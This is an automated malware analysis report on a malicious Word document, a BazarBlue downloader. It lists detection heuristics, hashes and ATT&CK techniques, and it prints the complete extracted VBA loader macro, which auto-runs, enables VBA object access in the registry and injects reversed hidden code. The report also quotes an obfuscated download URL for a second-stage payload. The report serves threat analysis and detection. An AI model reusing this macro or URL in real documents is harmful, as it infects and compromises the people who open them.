Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 578d815ed2ca84e7…

MALICIOUS

Office (OOXML)

46.9 KB Created: 2021-06-28 11:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: 7190e3de2152f3daa9a989c16bc366c2 SHA-1: 9d45244a4c7a36f40fa96c828c0709896a990867 SHA-256: 578d815ed2ca84e7b4fb6667aa84d31e6778c02e19d10a9258e5d096590d85e3
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen function that uses WScript.Shell to execute a downloaded payload. The script reconstructs the URL "https://7hyh/TKxqwb4V6/74652/20236/4KYKyS/j4rty8RpTkNVvr8A3Li/4bS3Cc5kefx9aKhFdBOzDccYftXziN8vA6epnNittM/8rXaaI6BPZmPUadsHGKGYp/225/n/33176/adda/moc.stiduarehcsif//:ptth" and writes a registry key to enable VBA object access. This indicates a downloader attempting to fetch and execute a second-stage malicious file.

Heuristics 8

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub lenConstCounter()
CreateObject("wscript.shell").RegWrite refLib, 1, "REG_DWORD"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub lenConstCounter()
CreateObject("wscript.shell").RegWrite refLib, 1, "REG_DWORD"
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub clearLib(lenIterator)
Set pointerNextQuery = GetObject("", "word.application")
With pointerNextQuery.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "countMain"
Sub autoopen()
lenConstCounter
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1118 bytes
SHA-256: b41a5121b32fd588cb43b8f831513d2ac3a65b7cac1be869d8dec36b31f1a904
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "removeBorder"
Function ExCopy()
ExCopy = ActiveDocument.Range.Text
End Function
Sub lenConstCounter()
CreateObject("wscript.shell").RegWrite refLib, 1, "REG_DWORD"
End Sub
Function captionCountConvert()
captionCountConvert = Mid(ExCopy, 4 / 2, 3000000)
End Function

Attribute VB_Name = "countMain"
Sub autoopen()
lenConstCounter
clearLib StrReverse(captionCountConvert)
End Sub
Sub clearLib(lenIterator)
Set pointerNextQuery = GetObject("", "word.application")
With pointerNextQuery.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString lenIterator
End With
pointerNextQuery.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function refLib()
refLib = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: dd6416dda15a68de74601ceecc520dcf5d7a63ea6641fc02b271376641dd570d

Open this report in the interactive analyzer, or submit your own file for analysis.